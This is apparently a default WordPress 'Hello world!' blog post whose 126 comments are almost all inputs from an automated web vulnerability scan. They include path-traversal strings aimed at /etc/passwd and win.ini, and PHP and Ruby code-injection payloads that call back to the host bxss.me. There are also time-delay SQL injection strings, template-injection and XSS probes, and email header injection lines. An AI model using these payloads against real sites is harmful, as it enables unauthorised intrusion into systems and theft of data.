Hello world!

126 Responses

1. Hi, this is a comment.
   To get started with moderating, editing, and deleting comments, please visit the Comments screen in the dashboard.
   Commenter avatars come from Gravatar.

2. 1

3. 3ohvkEAp

4. ../../../../../../../../../../../../../../../proc/version

5. ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

6. .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

7. /.././.././.././.././.././.././.././../etc/./passwd%00

8. ../././../././../././../././../././../././../././../././../././../././etc/passwd

9. /\../\../\../\../\../\../\../etc/passwd

10. &n963898=v948956

11. http://bxss.me/t/fit.txt%3F.jpg

12. ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini

13. ../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini

14. WEB-INF\web.xml

15. ‘.gethostbyname(lc(‘hitix’.’lqrnlqjm1f0ff.bxss.me.’)).’A’.chr(67).chr(hex(’58’)).chr(107).chr(68).chr(118).chr(74).’

16. ;assert(base64_decode(‘cHJpbnQobWQ1KDMxMzM3KSk7’));

17. ‘.print(md5(31337)).’

18. “+”A”.concat(70-3).concat(22*4).concat(111).concat(77).concat(103).concat(81)+(require”socket”
    Socket.gethostbyname(“hituc”+”vfjaypdr10c1f.bxss.me.”)[3].to_s)+”

19. )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

20. /xfs.bxss.me

21. 1′”()&%uF91(9664)

22. 80Zot8zO

23. 1*1

24. -1 OR 3+313-313-1=0+0+0+1

25. 1

26. 1

27. G3MbZBJr’ OR 429=(SELECT 429 FROM PG_SLEEP(15))–

28. 1

29. 1

30. 1

31. 1

32. 1

33. ./1

34. 1%0abcc:074625.5780-1362.5780.73065.20003.2@bxss.me

35. 1

36. 1

37. 1

38. 12345′”\’\”);|]*%00{%0d%0a%bf%27’💡

39. 1

40. 1

41. ${10000000+10000387}

42. 1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg

43. http://bxss.me/t/fit.txt

44. bxss.me

45. 1

46. )

47. 1

48. ‘.gethostbyname(lc(‘hityr’.’qsyraawn0630a.bxss.me.’)).’A’.chr(67).chr(hex(’58’)).chr(113).chr(90).chr(110).chr(79).’

49. 1

50. ‘.print(md5(31337)).’

51. 1

52. 1

53. 1

54. ‘”

55. 19544796

56. bfg3328%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl3328

57. bfgx8959%C0%BEz1%C0%BCz2a%90bcxhjl8959

58. dfb{{98991*97996}}xca

59. “dfbzzzzzzzzbbbccccdddeeexca”.replace(“z”,”o”)

60. 1RzZJ(9520)

61. 1RzZJ(9079)

62. 1RzZJ(9580)

63. 1″ onerror=alert(9119)>

67. 1mZA0u
    RzZJ(9132)

68. 19FWN7[!+!]

69. 1

70. 1

71. 1

72. 1

73. 1

74. 1

75. 1

76. 1

77. 555

78. 555

79. 555

80. 555

81. 555

82. 555

83. 0″XOR(if(now()=sysdate(),sleep(15),0))XOR”Z

84. -1; waitfor delay ‘0:0:15’ —

85. ZRNkgse5′; waitfor delay ‘0:0:15’ —

86. JInQLPXb

87. 1′”

88. @@Y4qP9

89. 555

90. 555

91. 555

92. 555

93. 555

94. 555

95. to@example.com>
    bcc:074625.5780-1494.5780.06447.20003.2@bxss.me

96. 555

97. 555

98. 12345′”\’\”);|]*{
    ”💡

99. 555

100. 555

101. 555

102. 555

103. http://bxss.me/t/fit.txt?.jpg

104. 555

105. 555&n954896=v946113

106. 555

107. !(()&&!|*|*|

108. 555

109. 555

110. 555

111. bxss.me/t/xss.html?%00

112. ‘;print(md5(31337));$a=’

113. 555″||sleep(27*1000)*jbmnig||”

114. 555

115. 555

116. 555

117. 555

118. 555

119. 555

120. 555

121. 555

122. 555

123. 555

124. 555

125. 555′”()&%bn0P(9494)

126. 555